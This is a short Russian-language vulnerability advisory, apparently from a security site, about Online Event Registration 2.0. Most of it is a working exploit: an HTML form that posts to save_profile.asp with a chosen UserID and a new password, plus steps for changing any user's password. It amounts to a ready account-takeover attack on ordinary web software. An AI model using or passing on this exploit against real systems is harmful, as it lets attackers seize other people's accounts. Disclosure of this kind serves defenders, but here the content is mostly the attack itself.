Хакер #305. Многошаговые SQL-инъекции
Программа: Online Event Registration 2.0
Уязвимость позволяет удаленному пользователю изменить произвольный пароль на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных сценарием save_profile.asp.
Эксплоит:
[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="save_profile.asp?key=1®key=">
User Name<input type="hidden" name="UserID" size="4">
<input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40">
<input type="text" name="Company" size="40" class="TBox" value="Demo Account">
Email<input type="text" name="EmailAddress" size="40" class="TBox" value="demo@codewidgets.net" maxlength="40">
Phone<input type="text" name="Phone" size="20" class="TBox" value="780-429-2318" maxlength="14">
Fax<input type="text" name="Fax" size="20" class="TBox" value="780-429-2319">
Password<input name="Password" size="20" class="TBox" value="demo" maxlength="10">
<input type="submit" value="Submit" name="B1" class="PButton">
</form>
</body>
</html>
<!--
[/Code]]]
Change: <input type="hidden" name="UserID" size="4"> => ID
Next Click "Profile"